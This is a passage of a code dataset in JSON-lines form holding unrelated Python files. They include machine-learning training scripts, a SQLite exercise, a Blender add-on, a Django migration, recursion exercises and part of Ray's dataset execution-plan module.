size=(12*escala,6*escala,.3*escala), axis=(2*escala,.2*escala,4*escala),color=color.blue)\n\n\n def rotate (self, angle=0.0, axis=(0,0,0), origin=(0,0,0)):\n self.esqueleto.rotate(angle=angle, axis=axis, origin=origin)\n\n def move (self, pos=(0,0,0)):\n self.esqueleto.pos = pos\n","sub_path":"poo09/kuarup/tribos/potiguara/peixe_guajajara.py","file_name":"peixe_guajajara.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"480249544","text":"import os\nimport argparse\nimport glob\nfrom thunder.sigprocessing.util import SigProcessingMethod\nfrom thunder.util.load import load\nfrom thunder.util.save import save\nfrom pyspark import SparkContext\n\n\ndef stats(data, statistic):\n \"\"\"compute summary statistics on every data point\n\n arguments:\n data - RDD of data points\n mode - which statistic to compute (\"median\", \"mean\", \"std\", \"norm\")\n\n returns:\n vals - RDD of statistics\n \"\"\"\n\n method = SigProcessingMethod.load(\"stats\", statistic=statistic)\n vals = method.calc(data)\n\n return vals\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"compute summary statistics on time series data\")\n parser.add_argument(\"master\", type=str)\n parser.add_argument(\"datafile\", type=str)\n parser.add_argument(\"outputdir\", type=str)\n parser.add_argument(\"mode\", choices=(\"mean\", \"median\", \"std\", \"norm\"),\n help=\"which summary statistic\")\n parser.add_argument(\"--preprocess\", choices=(\"raw\", \"dff\", \"dff-highpass\", \"sub\"), default=\"raw\", required=False)\n\n args = parser.parse_args()\n\n sc = SparkContext(args.master, \"stats\")\n\n if args.master != \"local\":\n egg = glob.glob(os.path.join(os.environ['THUNDER_EGG'], \"*.egg\"))\n sc.addPyFile(egg[0])\n\n data = load(sc, args.datafile, args.preprocess).cache()\n\n vals = stats(data, args.mode)\n\n outputdir = args.outputdir + \"-stats\"\n\n save(vals, outputdir, \"stats_\" + args.mode, \"matlab\")","sub_path":"python/thunder/sigprocessing/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"235411550","text":"import pyro\nimport numpy as np\nfrom model_bayes_nn_m1 import NN_Model, get_pyro_model\nimport matplotlib.pyplot as plt\nimport torch\nfrom data_gauss_bayes import get_dataset, seed_everything\nfrom eval_gauss_bayes_m2 import trace_summary\nfrom tqdm import tqdm\nfrom datetime import datetime\nimport os\nimport pdb\nimport torch.nn.functional as F\nfrom pyro.infer import Trace_ELBO, TraceEnum_ELBO, config_enumerate\nimport pyro.poutine as poutine\n\n# enable validation (e.g. validate parameters of distributions)\nassert pyro.__version__.startswith('0.3.1')\n#pyro.enable_validation(True)\n\n# We'll ue this helper to check our models are correct.\ndef test_model(model, guide, loss):\n pyro.clear_param_store()\n loss.loss(model, guide)\n\n#pdb.set_trace()\n\nEPOCHS = 1000\n\n\ndef train_nn(training_generator):\n regression_model = RegressionModel(p=1)\n optim = torch.optim.Adam(regression_model.parameters(), lr=0.0001)\n loss_fn = torch.nn.MSELoss(reduction='sum')\n\n for e in range(EPOCHS):\n losses = []\n for x_data, y_data in tqdm(training_generator):\n # calculate the loss and take a gradient step\n y_pred = regression_model(x_data)\n loss = loss_fn(y_pred, y_data)\n optim.zero_grad()\n loss.backward()\n optim.step()\n losses.append(loss.item())\n print(np.mean(losses))\n\n for name, param in regression_model.named_parameters():\n print(name, param.data.cpu().numpy())\n\n\ndef train_bayes(training_generator):\n pass\n\n\ndef save():\n save_model = input(\"save model > \")\n\n if save_model.lower().startswith('y'):\n experiment_id = input(\"Enter exp name, press return to use datetime> \")\n if not experiment_id:\n experiment_id = datetime.now().isoformat()\n\n if os.environ['HOSTNAME'] == 'fractal':\n SAVE_PATH = f'/hdd/bdhammel/checkpoints/bayes/{experiment_id}'\n else:\n SAVE_PATH = f'/usr/WS1/hammel1/proj/checkpoints/bayes/{experiment_id}'\n\n print(\"Saving to :\", SAVE_PATH)\n pyro.get_param_store().save(SAVE_PATH + '.params')\n\n save_data = input(\"save data > \")\n if save_data.lower().startswith('y'):\n dataset = training_generator.dataset\n dataset.save(SAVE_PATH)\n else:\n print(f\"input was {save_model} not saving model\")\n\n\nif __name__ == '__main__':\n seed_everything()\n pyro.clear_param_store()\n training_generator = get_dataset(mu=0.6, std=0.2, amp=0.1, batch_size=256)\n\n svi, model, guide = get_pyro_model(return_all=True)\n\n loss_hist = []\n for e in range(EPOCHS):\n losses = []\n for x_data, y_data in tqdm(training_generator):\n losses.append(svi.step(x_data, y_data))\n \n #test_model(model(x_data,y_data), model(x_data,y_data), Trace_ELBO())\n\n loss_hist.append(np.mean(losses))\n print(f\"epoch {e}/{EPOCHS} :\", loss_hist[-1])\n\n trace = poutine.trace(model).get_trace(x_data, y_data)\n trace.compute_log_prob() # optional, but allows printing of log_prob shapes\n print(trace.format_shapes())\n\n plt.plot(loss_hist)\n plt.yscale('log')\n plt.title(\"ELBO\")\n plt.xlabel(\"step\")\n plt.ylabel(\"Epoch loss\")\n\n df = trace_summary(svi, model, x_data, y_data)\n\n for name, value in pyro.get_param_store().items():\n print(name, pyro.param(name))\n\n #evaluate()\n # train_nn(training_generator)\n # train_bayes(training_generator)\n # save()\n","sub_path":"simple_gauss_pyro/train_gauss_bayes.py","file_name":"train_gauss_bayes.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"470136868","text":"import pandas as pd\r\nimport numpy as np\r\nimport sklearn\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn import linear_model\r\nimport matplotlib.pyplot as pyplot\r\nimport pickle\r\nfrom matplotlib import style\r\n\r\n#uploading dataset\r\ndata = pd.read_csv('student-mat.csv', sep=';')\r\n\r\ndata = data[['G1', 'G2', 'G3', 'studytime', 'failures', 'absences']]\r\n\r\n#Predicting \"G3\" which is the final grade\r\npredict = 'G3'\r\n\r\n#dropping the actual final grade data\r\nx = np.array(data.drop([predict], 1))\r\n\r\n#specifying our y \"prediction\"\r\ny = np.array(data[predict])\r\n\r\n#Train Test Split\r\nx_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(x, y, test_size=0.1)\r\n\r\n\r\n##Linear Regression TRAIN MODEL##\r\nbest = 0.9743353123117502\r\nfor i in range(20000):\r\n x_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(x, y, test_size = 0.1)\r\n #y = mx+b\r\n\r\n\r\n linear = linear_model.LinearRegression()\r\n linear.fit(x_train, y_train)\r\n acc = linear.score(x_test, y_test)\r\n print('interation: ',i,'Accuracy: ',acc*100)\r\n\r\n if acc > best:\r\n best = acc\r\n with open('grade_predict.pickle', 'wb') as f:\r\n pickle.dump(linear, f)\r\n print(best)\r\n break\r\n\r\n\r\nload_in = open('grade_predict.pickle', 'rb')\r\nlinear = pickle.load(load_in)\r\n\r\nprint('Co-efficent: \\n', linear.coef_)\r\nprint('Intercept: \\n', linear.intercept_)\r\n\r\npredictions = linear.predict(x_test)\r\n\r\n\r\n\r\n\r\n#KNeighborClassifier Model#\r\n'''best = .725\r\nfor i in range(2000000):\r\n #training function with SKLEARN ###Test size is used for the amount of data tested. 0.2 for example will test more,sacrificing performance.\r\n x_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(x, y, test_size=0.1)\r\n ###TESTING POINT####\r\n model = KNeighborsClassifier(n_neighbors=9)\r\n ###TRAINING MODEL###\r\n model.fit(x_train,y_train)\r\n acc = model.score(x_test,y_test)\r\n print('interation: ', i, 'Accuracy: ', acc * 100)\r\n\r\n if acc > best:\r\n best = acc\r\n with open('My_model(KNN).pickle', 'wb') as f:\r\n pickle.dump(model, f)\r\n print(best)\r\n break\r\n\r\nload_in = open('My_model(KNN).pickle', 'rb')\r\nmodel = pickle.load(load_in)\r\n\r\n\r\n\r\npredictions = model.predict(x_test)'''\r\n\r\nlabel = ['G1', 'G2', 'studytime', 'failures', 'absences']\r\n\r\n#printing the prediction data compared to actual\r\nfor i in range(len(predictions)):\r\n print('Prediction:',predictions[i]*5 , 'Data:',x_test[i], 'Actual:',y_test[i]*5 )\r\n\r\n'''#GRAPH VISUAL#\r\np = 'G1'\r\nQ = 'G2'\r\na = 'absences'\r\nstyle.use('ggplot')\r\npyplot.scatter(data[predict]*Grade_balancer,data[a]*Grade_balancer)\r\npyplot.xlabel('Final')\r\npyplot.ylabel('Absences')\r\npyplot.show()'''\r\n","sub_path":"LR_PredictGrade.py","file_name":"LR_PredictGrade.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"39588582","text":"import numpy as np \nimport copy\nimport collections\n\n\nh = 1e-5\n\nclass Softmax():\n def __init__(self, num_of_input=19422, num_of_output=5, lr=1):\n \"\"\"\n x:\n (19422, 1)\n y:\n (5, 1)\n \"\"\"\n self.num_of_class = None\n self.w = np.random.randn(num_of_input, num_of_output)\n self.lr = lr\n self.x = None\n self.y_ = None\n self.grad = 0\n self.loss = 0\n\n def softmax(self, x):\n z = np.exp(x - np.max(x,axis=0))\n return z / (np.sum(z))\n\n def cross_entroy(self, y):\n return np.sum(np.sum(-1 * y * (np.log2(self.y_ + h)), axis=0))\n \n def forward(self, x):\n self.x = x\n self.y_ = self.softmax(self.w.T.dot(x)) \n return self.y_\n\n def criterion(self, y):\n self.loss += self.cross_entroy(y)\n \n def backward(self, y):\n self.grad += self.x.dot((y - self.y_).T)\n \n def step(self, bs):\n self.w += self.lr * self.grad / bs\n self.loss = 0 \n self.grad = 0\n\n def predict(self, x):\n return self.forward(x)\n \n def fit(self, x, y, debug=False):\n \n self.forward(x)\n self.criterion(y)\n self.backward(y)\n \n loss = self.loss\n\n N = x.shape[-1]\n\n self.step(N)\n \n #true, predict = y.argmax(axis=0), self.y_.argmax(axis=0)\n #acc = collections.Counter(true - predict)[0] / N\n #print(\"acc: \", acc)\n\n return loss / N\n\n\nif __name__ == \"__main__\":\n model = Softmax_torch(19422, 5)\n\n inputs = torch.randn(16, 19422)\n\n labels = torch.zeros(16)\n\n for i in range(labels.shape[0]):\n labels[i] = i % 3\n\n print(labels)\n\n optimizer = optim.SGD(model.parameters(), lr=0.001, momentum=0.9) \n\n criterion = nn.CrossEntropyLoss()\n\n for i in range(18):\n y_ = model(inputs, labels.long())\n \n loss = criterion(y_, labels.long())\n\n optimizer.zero_grad()\n\n loss.backward()\n \n optimizer.step()\n \n print(np.float(loss))\n print(model.predict(inputs))\n\n\n print(\"Done!\")\n\n","sub_path":"task1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"315520766","text":"\"\"\"\r\nLoad the data (use `pandas`) from the provided file `buddymove_holidayiq.csv`\r\n(the [BuddyMove Data\r\nSet](https://archive.ics.uci.edu/ml/datasets/BuddyMove+Data+Set)) - you should\r\nhave 249 rows, 7 columns, and no missing values. The data reflects the number of\r\nplace reviews by given users across a variety of categories (sports, parks,\r\nmalls, etc.).\r\n\r\nUsing the standard `sqlite3` module:\r\n\r\n- Open a connection to a new (blank) database file `buddymove_holidayiq.sqlite3`\r\n- Use `df.to_sql`\r\n ([documentation](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.to_sql.html))\r\n to insert the data into a new table `review` in the SQLite3 database\r\n\r\nThen write the following queries (also with `sqlite3`) to test:\r\n\r\n- Count how many rows you have - it should be 249!\r\n- How many users who reviewed at least 100 `Nature` in the category also\r\n reviewed at least 100 in the `Shopping` category?\r\n- (*Stretch*) What are the average number of reviews for each category?\r\n\r\nYour code (to reproduce all above steps) should be saved in\r\n`buddymove_holidayiq.py`, and added to the repository along with the generated\r\nSQLite database.\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport sqlite3\r\n\r\ndf = pd.read_csv('buddymove_holidayiq.csv')\r\n\r\nconn = sqlite3.connect('buddymove_holidayiq.sqlite3')\r\ndf.to_sql('buddymove_holidayiq', con=conn)\r\nconn.execute(\"SELECT * FROM buddymove_holidayiq;\").fetchone()\r\n\r\nquery_total_rows = \"\"\"\r\n\tSELECT COUNT(*)\r\n\tFROM buddymove_holidayiq;\r\n\t\"\"\"\r\ntotal_rows = conn.execute(query_total_rows).fetchone()[0]\r\nprint(\"The total rows in buddymove_holidayiq is {}\".format(total_rows))\r\n\r\nquery_reviewed = \"\"\"\r\n\tSELECT COUNT(*)\r\n\tFROM buddymove_holidayiq\r\n\tWHERE Nature > 100 \r\n\tAND Shopping > 100;\r\n\t\"\"\"\r\nreviewed = conn.execute(query_reviewed).fetchone()[0]\r\nprint(\"The total rows in buddymove_holidayiq where Shopping and\",\r\n\t\"Nature is more than 100 is {}\"\r\n\t.format(reviewed))\r\n","sub_path":"module1-introduction-to-sql/buddymove_holidayiq.py","file_name":"buddymove_holidayiq.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"206776683","text":"# MN 개 단위 정사각형으로 이루어져 있는 M * N 크기의 보드가 있다.\n# 8 * 8 체스판을 만들고 싶다.\n# 검, 흰이 번갈아서 칠해져야 하며, 변을 공유하는 2개의 사각형은 다른색으로 칠해있어야 한다.\n# 8 * 8 크기를 아무데서나 골라서 칠할 때, 다시 칠하는 최소개수를 구하고 싶다.\n\nN, M = map(int, input().split())\nboard = [list(input()) for _ in range(N)]\ncount = []\n\nfor i in range(N-7):\n for j in range(M-7):\n w_count = 0\n b_count = 0\n for row in range(i, i+8):\n for col in range(j, j+8):\n if (row+col) % 2 == 0:\n if board[row][col] != 'W':\n w_count += 1\n if board[row][col] != 'B':\n b_count += 1\n else:\n if board[row][col] != 'B':\n w_count += 1\n if board[row][col] != 'W':\n b_count += 1\n count.append(min(w_count, b_count))\nprint(min(count))","sub_path":"백준/단계별/체스판다시칠하기.py","file_name":"체스판다시칠하기.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"222786552","text":"import pickle\nimport os\nimport pandas as pd\nimport numpy as np\n\n\nclass TCGA_parser:\n\n def __init__(self, pickles_dir=\"\", verbose=True, cTypes=None):\n self.pickles_dir = pickles_dir # dir with all the pickles\n self.verbose = verbose\n self.cTypes = cTypes # cancer type\n self.translator = {} # translate label to cancer type\n # self.load_pickles2df()\n\n def load_pickles2df(self):\n \"\"\" load all the pickle tables in the directory to a single DataFrame \"\"\"\n\n # load tables and merge all data to a dictionary, res_dic\n res_dic = {}\n for cancer in self.cTypes:\n pk = self.load_pickle(os.path.join(self.pickles_dir, cancer + '.pickle'))\n res_dic.update(pk)\n\n # make a large DataFrame from all the tables, df\n df = pd.DataFrame()\n for cancer in self.cTypes:\n df = pd.concat([df, res_dic[cancer]])\n if self.verbose:\n l = np.abs(int(res_dic[cancer]['label'][0]))\n print(\"{} label={}, examples: {}\".format(cancer, l, res_dic[cancer].shape[0]))\n self.translator[l] = cancer\n self.translator[-l] = cancer + \" Normal\"\n\n # clean the table and return\n df = df.reset_index(drop=True)\n df = df.dropna(axis=1)\n return df\n\n def load_pickle(self, pickle_path):\n \"\"\" Load a pickle from 'pickle_path' and return it \"\"\"\n if not os.path.exists(pickle_path):\n print(\"No such file or directory:\\n\", pickle_path)\n return\n if self.verbose:\n print(\"loading '{}'...\".format(pickle_path[pickle_path.rfind('/') + 1:]))\n with open(pickle_path, 'rb') as handle:\n return pickle.load(handle)","sub_path":"TCGA_parser.py","file_name":"TCGA_parser.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"584368975","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Cliente',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('fecha_registro', models.DateField(null=True)),\n ('nombre', models.CharField(max_length=140, null=True)),\n ('apellidos', models.CharField(max_length=140, null=True)),\n ('celular', models.CharField(max_length=15, null=True)),\n ('telefono', models.CharField(max_length=15, null=True)),\n ('dias_credito', models.PositiveIntegerField(null=True)),\n ('imagen', models.ImageField(default=b'images/clientes/default-01.png', upload_to=b'images/clientes', null=True, verbose_name=b'Imagen Cliente', blank=True)),\n ],\n ),\n ]\n","sub_path":"cliente/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"19444031","text":"bl_info = {\n\"name\": \"Simple Add-on\",\n\"author\": \"MaggieLee\",\n\"location\": \"View3D > Tools > Simple Addon\",\n\"version\": (1, 0, 0),\n\"blender\": (2, 93, 4),\n\"description\": \"Starting point for new add-ons.\",\n\"wiki_url\": \"http://example.com\",\n\"category\": \"Development\"\n}\n\nimport bpy\n\n\nclass SimpleOperator(bpy.types.Operator):\n bl_idname = \"object.simple_operator\"\n bl_label = \"Print an Encouraging Message\"\n \n def execute(self, context):\n print(\"\\n\\n####################################################\")\n print(\"# Add-on and Simple Operator executed successfully!\")\n print(\"# \" + context.scene.encouraging_message)\n print(\"####################################################\")\n return {'FINISHED'}\n \n @classmethod\n def register(cls):\n print(\"Registered class: %s \" % cls.bl_label)\n \n #Register properties related to the class\n bpy.types.Scene.encouraging_message = bpy.props.StringProperty(\n name=\"\",\n description=\"Message to print to user\",\n default=\"Have a nice day!\")\n \n @classmethod\n def unregister(cls):\n print(\"Unregistered class: %s \" % cls.bl_label)\n \n #Delete parameters related to the class\n del bpy.types.Scene.encouraging_message\n\nclass SimplePanel(bpy.types.Panel):\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"TOOLS\"\n bl_category = \"SimpleAddon\"\n bl_label = \"Call Simple Operator\"\n bl_context = \"objectmode\"\n \n def draw(self, context):\n self.layout.operator(\"object.simple_operator\",\n text=\"Print Encouraging Message\")\n self.layout.prop(context.scene, 'encouraging_message')\n\n @classmethod\n def register(cls):\n print(\"Registered class: %s \" % cls.bl_label)\n \n @classmethod\n def unregister(cls):\n print(\"Unregistered class: %s \" % cls.bl_label)\n \ndef register():\n bpy.utils.register_class(SimpleOperator)\n bpy.utils.register_class(SimplePanel)\n print(\"%s registration complete\\n\" % bl_info.get('name'))\n \ndef unregister():\n bpy.utils.unregister_class(__name__)\n print(\"%s unregister complete\\n\" % bl_info.get('name'))\n \n\nif __name__ == \"__main__\":\n try:\n unregister()\n except Exception as e:\n #Catch failure to unregister explicitly\n print(e)\n pass\n \n register() \n ","sub_path":"simpleAddon.py","file_name":"simpleAddon.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"560875401","text":"import csv\r\nimport os\r\nfrom pydblite import Base\r\n\r\ndef convertcsv2db(csvpath, dbpath): #Converts a CSV file to a PyDBLite database\r\n db = Base(dbpath)\r\n try:\r\n csvfile = open(csvpath, 'rt')\r\n except csv.Error:\r\n print(\"Could not open CSV file at \" + csvpath + \"\\n\")\r\n reader = csv.reader(csvfile)\r\n header = next(reader)\r\n try:\r\n db.create(*header)\r\n except IOError:\r\n print(\"Existing DB at \" + dbpath + \"\\n\")\r\n for row in reader:\r\n db.insert(*row)\r\n db.commit()\r\n\r\ndef printdb(dbpath): #Prints the contents of a PyDBLite database to the console\r\n db = Base(dbpath)\r\n if db.exists():\r\n db.open()\r\n retstr = \"\"\r\n for obj in db:\r\n retstr += str(obj)\r\n retstr += \"\\n\"\r\n print(retstr)\r\n return retstr\r\n else:\r\n print(\"The database does not exist or is corrupt.\\n\")\r\ndef likeconvert(likesRoot):\r\n histPath = likesRoot + '/history'\r\n convertcsv2db(likesRoot + '/totals.csv', likesRoot + '/likes.pdl')\r\n db = Base(likesRoot + '/likes.pdl')\r\n db.open()\r\n db.add_field('history', \"\")\r\n db.add_field('liked', \"\")\r\n dirContents = os.listdir(histPath)\r\n histFiles = []\r\n\r\n for File in dirContents:\r\n if \".csv\" in File:\r\n histFiles.append(File)\r\n for histFile in histFiles:\r\n try:\r\n csvfile = open(histPath + '/' + histFile, 'rb')\r\n reader = csv.DictReader(csvfile)\r\n for row in reader:\r\n if histFile.endswith('history.csv'):\r\n recName = histFile[:-11]\r\n print(recName)\r\n if db(userID=recName):\r\n rec = db(userID=recName).pop()\r\n if not rec['liked']:\r\n db.update(rec, liked=row['liked'])\r\n else:\r\n tmpLiked = rec['liked']\r\n tmpLiked += \" \" + row['liked']\r\n db.update(rec, liked=tmpLiked)\r\n if not rec['history']:\r\n db.update(rec, history=row['messageID'])\r\n else:\r\n tmpHist = rec['history']\r\n tmpHist += \" \" + row['messageID']\r\n db.update(rec, history=tmpHist)\r\n db.commit()\r\n except csv.Error:\r\n print(\"Could not open CSV file\")\r\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"158716041","text":"def rsum(aList):\n if (len(aList) <= 1):\n return aList[0]\n else:\n return aList[0] + rsum(aList[1:])\n\n\ndef rmax(aList):\n if (len(aList) <= 1):\n return aList[0]\n else:\n if (aList[0] > aList[1]):\n return rmaxIndex(aList[2:], aList[0])\n else:\n return rmaxIndex(aList[2:], aList[1])\n\n\ndef rmaxIndex(aList, maximum):\n if (len(aList) == 0):\n return maximum\n else:\n if (aList[0] > maximum):\n return rmaxIndex(aList[1:], aList[0])\n else:\n return rmaxIndex(aList[1:], maximum)\n\n\ndef second_smallest(aList):\n small = aList[0]\n smallest = aList[1]\n if (small < smallest):\n small, smallest = smallest, small\n if (len(aList) == 2):\n return small\n else:\n if (aList[2] < smallest):\n small = smallest\n smallest = aList[2]\n if (aList[2] < small and aList[2] >= smallest):\n small = aList[2]\n return secondHelper(aList[3:], small, smallest)\n\n\ndef secondHelper(aList, small, smallest):\n if (len(aList) == 0):\n return small\n else:\n if (aList[0] < smallest):\n small = smallest\n smallest = aList[0]\n if (aList[0] < small and aList[0] >= smallest):\n small = aList[0]\n return secondHelper(aList[1:], small, smallest)\n\n\ndef sum_max_min(aList):\n if (len(aList) == 1):\n return aList[0] * 2\n elif (len(aList) == 2):\n return aList[0] + aList[1]\n else:\n maximum = aList[0]\n minimum = aList[1]\n if (maximum < minimum):\n maximum, minimum = minimum, maximum\n if (aList[2] > maximum):\n maximum = aList[2]\n if (aList[2] < minimum):\n minimum = aList[2]\n return sumHelper(aList[3:], maximum, minimum)\n\n\ndef sumHelper(aList, maximum, minimum):\n if len(aList) == 0:\n return maximum + minimum\n else:\n if (aList[0] > maximum):\n maximum = aList[0]\n elif (aList[0] < minimum):\n minimum = aList[0]\n return sumHelper(aList[1:], maximum, minimum)\n","sub_path":"School/Old/CSCA48/e3.py","file_name":"e3.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"155662826","text":"import copy\nfrom typing import (\n Callable,\n List,\n Tuple,\n Optional,\n Union,\n Iterator,\n Iterable,\n TYPE_CHECKING,\n)\nimport uuid\n\nif TYPE_CHECKING:\n import pyarrow\n\nimport ray\nfrom ray.data.context import DatasetContext\nfrom ray.data.block import Block\nfrom ray.data.impl.block_list import BlockList\nfrom ray.data.impl.compute import get_compute\nfrom ray.data.impl.stats import DatasetStats\nfrom ray.data.impl.lazy_block_list import LazyBlockList\n\n# Scheduling strategy can be inherited from prev stage if not specified.\nINHERITABLE_REMOTE_ARGS = [\"scheduling_strategy\"]\n\n\nclass Stage:\n \"\"\"Represents a Dataset transform stage (e.g., map or shuffle).\"\"\"\n\n def __init__(self, name: str, num_blocks: Optional[int]):\n self.name = name\n self.num_blocks = num_blocks\n\n def __call__(\n self, blocks: BlockList, clear_input_blocks: bool\n ) -> Tuple[BlockList, dict]:\n \"\"\"Execute this stage against the given blocks.\"\"\"\n raise NotImplementedError\n\n def can_fuse(self, other: \"Stage\") -> bool:\n \"\"\"Return whether this can be fused with another stage.\"\"\"\n raise NotImplementedError\n\n def fuse(self, other: \"Stage\") -> \"Stage\":\n \"\"\"Fuse this stage with a compatible stage.\"\"\"\n raise NotImplementedError\n\n def __repr__(self):\n return f'{type(self).__name__}(\"{self.name}\")'\n\n def __str__(self):\n return repr(self)\n\n\nclass ExecutionPlan:\n \"\"\"A lazy execution plan for a Dataset.\"\"\"\n\n # Implementation Notes:\n #\n # This lazy execution plan takes in an input block list and builds up a chain of\n # BlockList --> BlockList stages. When execution is triggered, it tries to fuse\n # together stages in order to reduce Ray task overhead and data copies.\n #\n # Internally, the execution plan holds two block lists:\n # * _in_blocks: The (possibly lazy) input block list.\n # * _snapshot_blocks: A snapshot of a computed block list, where this snapshot\n # is the cached output of executing some prefix in the stage chain.\n #\n # The stages in this execution plan are partitioned into two subchains: before the\n # snapshot and after the snapshot. When the snapshot exists from a previous\n # execution, any future executions will only have to execute the \"after the\n # snapshot\" subchain, using the snapshot as the input to that subchain.\n\n def __init__(self, in_blocks: BlockList, stats: DatasetStats, dataset_uuid=None):\n \"\"\"Create a plan with no transformation stages.\n\n Args:\n in_blocks: Base list of blocks.\n stats: Stats for the base blocks.\n dataset_uuid: Dataset's UUID.\n \"\"\"\n self._in_blocks = in_blocks\n self._in_stats = stats\n # A computed snapshot of some prefix of stages.\n self._snapshot_blocks = None\n self._snapshot_stats = None\n # Chains of stages.\n self._stages_before_snapshot = []\n self._stages_after_snapshot = []\n # Cache of optimized stages.\n self._last_optimized_stages = None\n\n self._dataset_uuid = dataset_uuid or uuid.uuid4().hex\n if not stats.dataset_uuid:\n stats.dataset_uuid = self._dataset_uuid\n\n def with_stage(self, stage: \"Stage\") -> \"ExecutionPlan\":\n \"\"\"Return a copy of this plan with the given stage appended.\n\n Args:\n stage: The stage to append.\n\n Returns:\n A new ExecutionPlan with this stage appended.\n \"\"\"\n copy = self.copy()\n copy._stages_after_snapshot.append(stage)\n return copy\n\n def copy(self) -> \"ExecutionPlan\":\n \"\"\"Create a shallow copy of this execution plan.\n\n This copy can be executed without mutating the original, but clearing the copy\n will also clear the original.\n\n Returns:\n A shallow copy of this execution plan.\n \"\"\"\n plan_copy = ExecutionPlan(self._in_blocks, self._in_stats)\n if self._snapshot_blocks is not None:\n # Copy over the existing snapshot.\n plan_copy._snapshot_blocks = self._snapshot_blocks\n plan_copy._snapshot_stats = self._snapshot_stats\n plan_copy._stages_before_snapshot = self._stages_before_snapshot.copy()\n plan_copy._stages_after_snapshot = self._stages_after_snapshot.copy()\n return plan_copy\n\n def deep_copy(self, preserve_uuid: bool = False) -> \"ExecutionPlan\":\n \"\"\"Create a deep copy of this execution plan.\n\n This copy can be executed AND cleared without mutating the original.\n\n Args:\n preserve_uuid: Whether to preserve the original UUID in the copy.\n\n Returns:\n A deep copy of this execution plan.\n \"\"\"\n dataset_uuid = None\n if preserve_uuid:\n dataset_uuid = self._dataset_uuid\n in_blocks = self._in_blocks\n if isinstance(in_blocks, BlockList):\n in_blocks = in_blocks.copy()\n plan_copy = ExecutionPlan(\n in_blocks, copy.copy(self._in_stats), dataset_uuid=dataset_uuid\n )\n if self._snapshot_blocks:\n # Copy over the existing snapshot.\n plan_copy._snapshot_blocks = self._snapshot_blocks.copy()\n plan_copy._snapshot_stats = copy.copy(self._snapshot_stats)\n plan_copy._stages_before_snapshot = self._stages_before_snapshot.copy()\n plan_copy._stages_after_snapshot = self._stages_after_snapshot.copy()\n return plan_copy\n\n def initial_num_blocks(self) -> int:\n \"\"\"Get the estimated number of blocks after applying all plan stages.\"\"\"\n if self.has_computed_output():\n return self._snapshot_blocks.initial_num_blocks()\n for stage in self._stages_after_snapshot[::-1]:\n if stage.num_blocks is not None:\n return stage.num_blocks\n if self._snapshot_blocks is not None:\n return self._snapshot_blocks.initial_num_blocks()\n for stage in self._stages_before_snapshot[::-1]:\n if stage.num_blocks is not None:\n return stage.num_blocks\n if self._in_blocks is not None:\n return self._in_blocks.initial_num_blocks()\n return None\n\n def schema(\n self, fetch_if_missing: bool = False\n ) -> Union[type, \"pyarrow.lib.Schema\"]:\n \"\"\"Get the schema after applying all plan stages.\n\n Args:\n fetch_if_missing: Whether to execute the plan to fetch the schema.\n\n Returns:\n The schema of the output dataset.\n \"\"\"\n if self._stages_after_snapshot:\n if fetch_if_missing:\n self.execute()\n else:\n return None\n # Snapshot is now guaranteed to be the output of the final stage or None.\n blocks = self._snapshot_blocks\n if not blocks:\n return None\n # Don't force fetching in case it's a lazy block list, in which case we\n # don't want to trigger full execution for a schema read. If we want to\n # trigger execution to get schema, we'll trigger read tasks progressively\n # until a viable schema is available, below.\n metadata = blocks.get_metadata(fetch_if_missing=False)\n # Some blocks could be empty, in which case we cannot get their schema.\n # TODO(ekl) validate schema is the same across different blocks.\n for m in metadata:\n if m.schema is not None and (m.num_rows is None or m.num_rows > 0):\n return m.schema\n if not fetch_if_missing:\n return None\n # Synchronously fetch the schema.\n # For lazy block lists, this launches read tasks and fetches block metadata\n # until we find valid block schema.\n for _, m in blocks.iter_blocks_with_metadata():\n if m.schema is not None and (m.num_rows is None or m.num_rows > 0):\n return m.schema\n return None\n\n def meta_count(self) -> Optional[int]:\n \"\"\"Get the number of rows after applying all plan stages if possible.\n\n This method will never trigger any computation.\n\n Returns:\n The number of records of the result Dataset, or None.\n \"\"\"\n if 